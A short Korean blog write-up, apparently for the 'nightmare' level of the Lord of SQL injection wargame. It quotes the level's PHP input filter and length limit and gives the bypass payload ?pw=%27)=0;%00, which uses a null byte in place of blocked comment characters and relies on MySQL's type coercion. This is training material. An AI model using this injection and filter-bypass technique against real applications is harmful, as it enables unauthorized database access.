본문 바로가기

WarGame/Web

[Lord of SQL injection] nightmare

소스코드 분석 

if(preg_match('/prob|_|\.|\(\)|#|-/i', $_GET[pw])) exit("No Hack ~_~");

if(strlen($_GET[pw])>6) exit("No Hack ~_~");

각종 필터링에 pw는 6자리까지 사용할수있다.조건을 참만 만들어주면 풀린다.

그리고 #, -- 주석이 필터링 되어있어서 ;%00 이걸로 대체한다. 


?pw=%27)=0;%00



참은 1인데 왜 0을 넣어서 참값을 만들었냐면 mysql의 자동 형변환 때문이다.

서로다른 타입을 비교하면 mysql은 2개를 같은 타입으로 비교를 한다.






'WarGame > Web' 카테고리의 다른 글

[Lord of SQL injection] dragon  (0) 2017.06.01
[Lord of SQL injection] xavis  (0) 2017.06.01
[Lord of SQL injection] succubus  (0) 2017.05.28
[Lord of SQL injection] zombie_assassin  (0) 2017.05.28
[Lord of SQL injection] assassin  (0) 2017.05.28